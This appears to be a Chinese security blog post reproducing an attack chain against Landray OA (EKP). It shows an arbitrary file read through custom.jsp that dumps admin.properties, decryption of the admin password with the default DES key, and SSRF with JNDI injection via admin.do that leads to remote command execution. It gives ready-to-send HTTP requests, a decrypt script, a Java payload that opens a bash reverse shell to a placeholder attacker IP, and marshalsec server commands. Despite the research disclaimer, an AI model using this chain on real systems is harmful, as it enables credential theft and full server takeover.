X凌OA系統任意文件讀取-SSRF+JNDI遠程命令執行
一、漏洞描述
深圳市藍凌軟件股份有限公司數字OA(EKP)存在任意文件讀取漏洞。攻擊者可利用漏洞獲取敏感信息,同時利用ssrf可遠程命令執行。
二、漏洞影響
藍凌OA
三、
利用 藍凌OA custom.jsp 任意文件讀取漏洞 讀取配置文件
讀取路徑:
/WEB-INF/KmssConfig/admin.properties
讀取文件:
POC:
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1 Host: 127.0.0.1 User-Agent: Go-http-client/1.1 Content-Length: 60 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
獲取密碼DES解密登陸后台:默認密鑰為 kmssAdminKey
訪問后台登台:
http://127.0.0.1/admin.do
成功登陸后台:
編寫POC腳本驗證:
還需要自己去驗證解密:
編寫本地DES解密:
def decrypt_str(s): k = des(Des_Key, ECB, Des_IV, pad=None, padmode=PAD_PKCS5) decrystr = k.decrypt(base64.b64decode(s)) print(decrystr) return decrypt_str
發現key字符過長:
ValueError: Invalid DES key size. Key must be exactly 8 bytes long.
密鑰長了,查了一下下 需要前面8位就OK 也能解開
直接解密明文:
--------------上面是 X凌OA系統任意文件讀取--------------
SSRF+jndi:
使用JNDI-Injection構建ldap服務:
https://github.com/welk1n/JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
或者是手動自己編譯java文件:
手動啟動ldap rim服務詳細過程參考:
文章地址:https://mp.weixin.qq.com/s/69NCDDSaa07YY7DwyC9fgA
前期的fastjson:
將下面exp保存為Exploit.java文件
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { //Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"}); Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/XX.XX.XX.XX/34567;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }
javac Exploit.java 編譯生成Exploit.class文件
python啟動web服務
python -m SimpleHTTPServer 1111
通過python啟動exphttp服務啟動ldap服務(RMI服務)
本次復現使用ldap服務,同時也將RMI對應的操作也做了截圖整理,主要是的原因的RMI的JDk版本支持,LDAPJava的版本本環境的支持(注意JDK的版本,這個是可能成功與否的關鍵)。
不支持基本上,rmi服務接受到了請求,直接就close掉了。注意這個細節點
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://XX.XX.XX.XX:1111/\#Exploit 9999 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://XX.XX.XX.XX:1111/\#Exploit 9999
ldap服務啟動完成:
訪問后台登台:
http://127.0.0.1/admin.do
成功登陸后台:
成功登陸系統獲取的cookie:
POST /admin.do HTTP/1.1 Host: 127.0.0.1 Cookie: JSESSIONID=; Hm_lvt_9838edd365000f753ebfdc508bf832d3=; Hm_lpvt_9838edd365000f753ebfdc508bf832d3= Content-Length: 70 Cache-Control: max-age=0 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 method=testDbConn&datasource=rmi://xxx.xxx.xxx.xxx:1099/thelostworld
DNSlog執行成功
參考:
http://wiki.xypbk.com/Web%E5%AE%89%E5%85%A8/%E8%93%9D%E5%87%8Coa/%E8%93%9D%E5%87%8COA%20SSRF%E5%92%8CJNDI%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C.md
免責聲明:本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
如果本文內容侵權或者對貴公司業務或者其他有影響,請聯系作者刪除。
轉載聲明:著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。
訂閱查看更多復現文章、學習筆記
thelostworld
安全路上,與你並肩前行!!!!
個人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
個人簡書:https://www.jianshu.com/u/bf0e38a8d400
個人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html
個人博客園:https://www.cnblogs.com/thelostworld/
FREEBUF主頁:https://www.freebuf.com/author/thelostworld?type=article
語雀博客主頁:https://www.yuque.com/thelostworld
歡迎添加本公眾號作者微信交流,添加時備注一下“公眾號”
本文使用 文章同步助手 同步
